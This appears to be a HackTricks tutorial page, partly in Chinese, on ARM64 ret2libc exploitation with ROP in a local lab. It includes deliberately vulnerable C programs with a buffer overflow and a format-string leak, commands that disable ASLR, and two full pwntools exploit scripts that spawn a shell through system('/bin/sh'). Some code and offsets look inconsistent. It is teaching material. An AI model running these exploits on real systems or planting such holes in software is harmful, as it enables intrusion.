从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert) ! 支持HackTricks的其他方式:
如果您想看到您的公司在HackTricks中做广告 或下载PDF格式的HackTricks ,请查看订阅计划 !
Ret2lib - 通过ROP绕过NX(无ASLR)
复制 #include <stdio.h>
void bof ()
{
char buf[ 100 ];
printf( "\nbof>\n" ) ;
fgets(buf , sizeof (buf) * 3 , stdin) ;
}
void main ()
{
printfleak() ;
bof() ;
}
编译时不使用canary:
复制 clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector
# Disable aslr
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
寻找偏移量
x30 偏移量
使用 pattern create 200
创建模式,使用它,并使用 pattern search $x30
检查偏移量,我们可以看到偏移量为 108
(0x6c)。
查看反汇编的主函数,我们可以看到我们希望跳转 到直接跳转到 printf
的指令,其偏移量从二进制文件加载的位置为 0x860
:
寻找 system 和 /bin/sh
字符串
由于 ASLR 已禁用,地址将始终相同:
寻找 Gadgets
我们需要在 x0
中有指向字符串 /bin/sh
的地址并调用 system
。
使用 rooper 找到了一个有趣的 gadget:
复制 0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;
攻击
这个工具将从**$sp + 0x18
加载 x0
,然后从sp加载地址x29和x30,最后跳转到x30。因此,利用这个工具,我们可以 控制第一个参数,然后跳转到system**。
复制 from pwn import *
from time import sleep
p = process ( './rop' ) # For local binary
libc = ELF ( "/usr/lib/aarch64-linux-gnu/libc.so.6" )
libc . address = 0x 0000fffff7df0000
binsh = next (libc. search ( b "/bin/sh" )) #Verify with find /bin/sh
system = libc . sym [ "system" ]
def expl_bof ( payload ):
p . recv ()
p . sendline (payload)
# Ret2main
stack_offset = 108
ldr_x0_ret = p64 (libc.address + 0x 6bdf0 ) # ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;
x29 = b "AAAAAAAA"
x30 = p64 (system)
fill = b "A" * ( 0x 18 - 0x 10 )
x0 = p64 (binsh)
payload = b "A" * stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p . sendline (payload)
p . interactive ()
p . close ()
Ret2lib - 利用从栈中泄漏的printf绕过NX、ASLR和PIE
复制 #include <stdio.h>
void printfleak ()
{
char buf[ 100 ];
printf( "\nPrintf>\n" ) ;
fgets(buf , sizeof (buf) , stdin) ;
printf(buf) ;
}
void bof ()
{
char buf[ 100 ];
printf( "\nbof>\n" ) ;
fgets(buf , sizeof (buf) * 3 , stdin) ;
}
void main ()
{
printfleak() ;
bof() ;
}
编译无 Canary :
复制 clang -o rop rop.c -fno-stack-protector -Wno-format-security
PIE and ASLR but no canary
Abuse bof to go back to main
Leak of libc from the stack
Printf leaks
Setting a breakpoint before calling printf it's possible to see that there are addresses to return to the binary in the stack and also libc addresses:
Trying different offsets, the %21$p
can leak a binary address (PIE bypass) and %25$p
can leak a libc address:
Subtracting the libc leaked address with the base address of libc, it's possible to see that the offset of the leaked address from the base is 0x49c40
.
x30 offset
See the previous example as the bof is the same.
Find Gadgets
Like in the previous example, we need to have in x0
the address to the string /bin/sh
and call system
.
Using rooper another interesting gadget was found:
复制 0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;
这个工具将从**$sp + 0x78
加载 x0
,然后从sp加载地址x29和x30,最后跳转到x30。因此,利用这个工具,我们可以 控制第一个参数,然后跳转到system**。
攻击Exploit
复制 from pwn import *
from time import sleep
p = process ( './rop' ) # For local binary
libc = ELF ( "/usr/lib/aarch64-linux-gnu/libc.so.6" )
def leak_printf ( payload , is_main_addr = False ):
p . sendlineafter ( b ">\n" ,payload)
response = p . recvline (). strip () [ 2 : ] #Remove new line and "0x" prefix
if is_main_addr :
response = response [: - 4 ] + b "0000"
return int (response, 16 )
def expl_bof ( payload ):
p . recv ()
p . sendline (payload)
# Get main address
main_address = leak_printf ( b "%21$p" , True )
print ( f "Bin address: { hex (main_address) } " )
# Ret2main
stack_offset = 108
main_call_printf_offset = 0x 860 #Offset inside main to call printfleak
print ( "Going back to " + str ( hex (main_address + main_call_printf_offset)))
ret2main = b "A" * stack_offset + p64 (main_address + main_call_printf_offset)
expl_bof (ret2main)
# libc
libc_base_address = leak_printf ( b "%25$p" ) - 0x 26dc4
libc . address = libc_base_address
print ( f "Libc address: { hex (libc_base_address) } " )
binsh = next (libc. search ( b "/bin/sh" ))
system = libc . sym [ "system" ]
# ret2system
ldr_x0_ret = p64 (libc.address + 0x 49c40 ) # ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;
x29 = b "AAAAAAAA"
x30 = p64 (system)
fill = b "A" * ( 0x 78 - 0x 10 )
x0 = p64 (binsh)
payload = b "A" * stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p . sendline (payload)
p . interactive ()
从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家) ! 其他支持HackTricks的方式:
如果您想看到您的公司在HackTricks中做广告 或下载PDF格式的HackTricks ,请查看订阅计划 !